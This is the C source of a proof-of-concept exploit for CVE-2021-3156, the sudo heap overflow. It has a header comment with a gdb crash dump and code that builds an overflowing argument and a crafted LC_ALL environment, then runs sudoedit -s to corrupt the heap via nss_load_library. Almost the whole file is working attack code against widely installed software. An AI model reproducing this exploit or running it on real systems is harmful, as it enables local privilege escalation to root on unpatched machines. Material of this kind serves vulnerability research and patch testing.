/*

	                     CVE-2021-3156 PoC
	
	-- just an implementation of method #2 via nss_load_library() ni->name corruption --
	
	PoC by @lockedbyte

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e9f4ee in nss_load_library (ni=ni@entry=0x555555582900) at nsswitch.c:344
344  nsswitch.c: No such file or directory.
(gdb) rax            0x0                 0
rbx            0x42424242424242    18650200809816642
rcx            0x55555557f010      93824992407568
rdx            0x0                 0
rsi            0x0                 0
rdi            0x555555582900      93824992422144
rbp            0x7fffffffe150      0x7fffffffe150
rsp            0x7fffffffe100      0x7fffffffe100
r8             0x55555558d620      93824992466464
r9             0x7fffffffe000      140737488347136
r10            0xffffffff          4294967295
r11            0x0                 0
r12            0x555555582900      93824992422144
r13            0x7fffffffe168      140737488347496
r14            0x555555582928      93824992422184
r15            0x55555558d620      93824992466464
rip            0x7ffff7e9f4ee      0x7ffff7e9f4ee <nss_load_library+46>
eflags         0x10246             [ PF ZF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x0                 0
k1             0x0                 0
k2             0x0                 0
k3             0x0                 0
k4             0x0                 0
k5             0x0                 0
k6             0x0                 0
k7             0x0                 0
(gdb) => 0x7ffff7e9f4ee <nss_load_library+46>:  cmpq   $0x0,0x8(%rbx)


Execute:

./exp.sh

*/

#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define MAX_DAT 2048
#define MAX_LEN 1024
#define MAX_ENV 4096

#define u_dat_sz 112

#define e_dat_sz 208

#define null_sz 63

#define ENV_VAR_NAME "LC_ALL"
#define ENV_VAR_VALUE "C.UTF-8@"

#define BACKSLASH "\\"

#define CORRUPTED_SRV "X/X"

#define TRGT_PATH "/usr/bin/sudoedit" // "/usr/local/bin/sudoedit"


int main(void) {

	int i = 0, x = 0, y = 0;

	char env_pay[MAX_LEN];
	char c_env[MAX_DAT];
	char ar_pay[MAX_LEN];
	char *env[MAX_ENV];
	
	memset(c_env, '\0', sizeof(c_env));
	memset(ar_pay, '\0', sizeof(ar_pay));
	memset(env_pay, '\0', sizeof(env_pay));

	puts("[.] crafting payload...");

	for(i = 0 ; i < u_dat_sz ; i++)
		ar_pay[i] = 0x41;
	ar_pay[i++] = 0x5c;
	ar_pay[i++] = '\0';
			
	char *argv[] = { TRGT_PATH, "-s", ar_pay, 0 };
	
	for(x = 0 ; x < e_dat_sz ; x++)
		env_pay[x] = 0x42;
	env_pay[x++] = '\0';
		
	snprintf(c_env, sizeof(c_env), "%s=%s%s", ENV_VAR_NAME, ENV_VAR_VALUE, env_pay);
	
	for(y = 0 ; y < null_sz ; y++)
		env[y] = BACKSLASH;
	env[y++] = CORRUPTED_SRV;
	env[y++] = c_env;
	env[y++] = 0x00;
	
	puts("[.] triggering heap overflow...");

	execve(TRGT_PATH, argv, env);
	
	return 0;
}


